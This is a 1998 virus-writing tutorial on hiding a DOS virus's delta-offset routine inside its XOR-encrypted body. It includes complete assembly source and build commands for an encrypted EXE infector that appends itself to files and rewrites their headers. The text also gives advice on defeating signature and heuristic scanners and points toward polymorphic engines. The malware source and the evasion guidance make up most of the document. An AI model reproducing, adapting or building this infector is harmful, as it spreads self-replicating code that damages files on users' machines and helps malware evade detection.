Improve Encryption:
How To Encrypt The Delta Offset Routine (PART II)
By: Doxtor L -TI #1-

[Part I]

>     [Introduction]

>             Is a introduction is needed? Not sure, dont be lazy and read the
>     first part ;) Just one thing ...A manner to avoid  to have a delta_offset
>     routine is to have :
>             * Virus beginning at cs:0000

>     We always can do that. (in exe-file of course)

>     In what it follows i want to show you an alternative technique.

>     We want again to have our virus looks like:

>     [Figure 1]

>      This is a first gen file.

>             Start:
>                     jmp crypt_part   ;skip encryption for 1st execution
>             Begin_virus:
>                     mov si,offset crypt_part
>                     mov al,key       ;replace key by the number you want
>                                   ;(0..255) not 0 of course ;)
>                     mov cx,end_crypt_part-crypt_part
>                     call crypt
>             Crypt_part:
>                     [Virus Body]

>             Crypt:
>                     xor byte ptr [si],al
>                     inc si
>                     loop crypt
>                     ret

>     [Figure 2]

>                     [...infected file...]

>                     db beh              ;these 3 bytes means:
>             patch:
>                     dw crypt_part ;mov si,crypt_part
>                     mov al,key
>                     mov cx,end_crypt-crypt_part
>                     call crypt
>             crypt_part:
>                     [....and so on....]

>     I'm hearing some of my readers thinking: "this routine is screwed, Where is
>     the compute of delta_offset?"  It is into encrypted part! When virus copy
>     its body in a new file it needs to put the right value at the "patch" address.
>             To do that, knowing the size of file to infect is enough.

>     How to do ?
>             I dont want explain here how you have to do for infect an exe-file,
>     read an other tutorial to learn the basic facts.
>             When you want infect an exe-file you have to modify the header of
>     this file. One thing to modify is the ip and cs (words at offset 14h and 16h
>     in the header).
>             Compute the size of file to infect and substract the size of its
>     header. Convert this number into "segment:offset" form. I use dx:cx to
>     contain this number (NB: cx+16*dx=size of file to infect-size of exe-header)
>     cx<16) Then to put the right value into   "patch" just a thing to do:

>             add ax,offset crypt_part-offset begin_virus
>             mov word ptr [patch+bp],ax

>     (if you are thinking use of bp is strange/paradoxal read part I ;)

>     [Conclusion]

>             In this article i have tried to explain some easy technique to
>     improve encryption.

>             Of course,if you dont change the key in xor-encryption after every
>     infection, all this stuff is silly...Scanners have the whole virus to
>     build a signature.

>             An other thing isnt good...put the crypt routine at the end of
>     virus.The bytes of this routine are FIXED then if you examine the end of an
>     infected file you can see,just in using a text editor,its infected.Lame no?

>             Routine:
>                     mov al,key
>                     mov si,offset crypt_part
>                     mov cx,end_crypt_part-crypt_part
>                     call crypt
>                     jmp crypt_part
>             crypt:
>                     [...]
>                      ret
>            crypt_part:
>                     [...]

>        But doing that you add FIXED bytes in no-encrypted part :( )

>             At last, heuristic scanners can emulate the crypt routine and decrypt
>     the virus :(  Encryption isnt enough. A good virus needs some
>     anti-emulation routines.

>     Anyway, some bytes will remain fixed just using encryption routine :(

>     What is the next step?...Polymorphic engine of course.

>     And dont you think to avoid to put delta_offset routine in no-encrypted
>     part improve the difficult  to detect virus? Of course i think so ;)

>     [Appendix]

>      This virus was written to illustrate a technique
>      not for damage and spread

>             * No-tsr encrypted exe-infector
>             * Infect all exe-files in current dir
>             * Cant change directory
>             * Dont save date/time
>             * Dont infect windows-exe
>             * Anti-lamer routine inside :)
>             * Save DTA
>             * All anti-virus detect it (and clean)
>             * No volontary destructive routine

>     [Compile]

>             tasm/m2 example2.asm
>             tlink/t example2.obj

>     [Code Starts]

>     code segment
>     assume cs:code,ds:code,es:code

>             Org 100h

>     Start:

>             jmp crypt_part    ;skip encryption for first execution
>     begin_virus:

>             mov cx,end_crypt_part-crypt_part
>             mov al,10h        ; the key is 10h

>             db 0beh           ;mov si,?
>     patch:
>             dw ?

>             call crypt

>     crypt_part:

>             call me           ;delta_offset routine ;)
>     me:
>             pop bp
>             sub bp,offset me

>             push cs           ;
>             pop ds            ;ds=cs

>             mov word ptr [_es+bp],es         ;save current es

>             push cs
>             pop es            ;es=cs

>             lea si,store+bp   ;prepare for host
>             lea di,old+bp     ;execution
>             movsw
>             movsw
>             movsw
>             movsw

>             mov ah,1ah        ;move the DTA
>             lea dx,new_dta+bp
>             int 21h

>             mov ah,4eh
>             lea dx,exe_file+bp
>             mov cx,7
>             int 21h

>             jnc open_file
>             jmp restore_dta

>     open_file:
>             mov ax,3d02h      ;open file found
>             lea dx,new_dta+1eh+bp
>             int 21h

>             xchg ax,bx        ;put file handler into bx

>     read_file:

>             mov ah,3fh        ;read the header of
>             mov cx,1ch        ;file found
>             lea dx,exe_header+bp
>             int 21h

>     test1:                    ;real exe-file?
>             cmp word ptr [exe_header+bp],'ZM'
>             je test3

>     test2:                    ;real exe-file?
>             cmp word ptr [exe_header+bp],'MZ'
>             jne get_another

>     test3:                    ;infected?

>             cmp word ptr [exe_header+12h+bp],'VI'
>             je get_another

>     test4:                    ;overlay?

>             cmp word ptr [exe_header+26+bp],0
>             jne get_another

>     test5:                    ;windows-exe?

>             cmp byte ptr [exe_header+24+bp],40h
>             je get_another

>     save_exe_header:

>             mov ax,word ptr [exe_header+bp+0eh]
>             mov word ptr [store_ss+bp],ax

>             mov ax,word ptr cs:[exe_header+bp+10h]
>             mov word ptr [store_sp+bp],ax

>             mov ax,word ptr [exe_header+bp+14h]
>             mov word ptr [store_ip+bp],ax

>             mov ax,word ptr cs:[exe_header+bp+16h]
>             mov word ptr [store_cs+bp],ax

>     go_end:
>             mov ax,4202h
>             xor cx,cx
>             mov dx,cx
>             int 21h

>             push ax dx

>     compute_new_csip:

>             push ax
>             mov ax,word ptr [exe_header+bp+8]
>             mov cl,4
>             shl ax,cl
>             mov cx,ax
>             pop ax
>             sub ax,cx
>             sbb dx,0
>             mov cl,0ch
>             shl dx,cl
>             mov cl,4
>             push ax
>             shr ax,cl
>             add dx,ax
>             shl ax,cl
>             pop cx
>             sub cx,ax

>             jmp over_there

>     get_another:

>             jmp get_another2

>     over_there:
>     change_header:

>             mov word ptr [exe_header+bp+14h],cx
>             mov word ptr [exe_header+bp+16h],dx
>             mov word ptr [exe_header+bp+0eh],dx
>             mov word ptr [exe_header+bp+10h],0a00h
>             mov word ptr [exe_header+bp+0ah],00a0h
>             mov word ptr [exe_header+bp+12h],'VI'

>             add cx,offset crypt_part-offset begin_virus
>             mov word ptr [patch+bp],cx
>             pop dx ax

>     compute_size:

>             add ax,end_virus-begin_virus
>             adc dx,0
>             mov cx,512
>             div cx
>             cmp dx,0
>             je enough
>             inc ax

>     enough:
>             mov word ptr [exe_header+bp+04],ax
>             mov word ptr [exe_header+bp+02],dx

>     write_virus:
>             lea si,begin_virus+bp
>             lea di,heap+bp
>             mov cx,end_virus-begin_virus
>             rep movsb

>            lea si,(crypt_part-begin_virus+heap)+bp
>            mov al,10h
>            mov cx,end_crypt_part-crypt_part
>            call crypt

>            mov cx,end_virus-begin_virus
>            mov ah,40h
>            lea dx,bp+heap
>            int 21h

>     go_beginning:
>            mov ax,4200h
>            xor cx,cx
>            mov dx,cx
>            int 21h

>     copy_new_header:

>            mov ah,40h
>            mov cx,1ah
>            lea dx,exe_header+bp
>            int 21h

>     get_another2:

>            mov ah,3eh
>            int 21h

>            mov ah,4fh
>            int 21h

>            jc restore_dta
>            jmp open_file

>     restore_dta:
>            mov ax,word ptr [_es+bp]

>            push ax
>            pop ds

>            mov dx,80h
>            mov ah,1ah
>            int 21h

>            push ds
>            pop  es

>            mov ax,es     ;compute cs to execute
>            add ax,10h
>            add word ptr cs:[old_cs+bp],ax ;host

>     restore_host_stack:
>            cli
>            add ax,word ptr cs:[bp+old_ss]
>            mov ss,ax
>            mov sp,word ptr cs:[bp+old_sp]
>            sti

>     go_host:
>            db 0eah      ;jmp xx:yy
>     old:
>            old_ip dw 0
>            old_cs dw 0
>            old_sp dw 0
>            old_ss dw 0
>     store:
>            store_ip dw 0
>            store_cs dw 0fff0h
>            store_sp dw 0
>            store_ss dw 0fff0h

>            sign  db '(c)DoxtorL./TI July 1998'
>            exe_file  db 'goat*.exe',0   ;Anti-lamer routine :)

>     end_crypt_part:
>     crypt:
>             xor byte ptr cs:[si],al
>             inc si
>             loop crypt
>             ret

>     end_virus:
>             _es dw          ?
>             exe_header db 1ch dup (?)
>             new_dta db 43  dup (?)
>     heap:

>     code ends
>     end start

>     [Code Ends]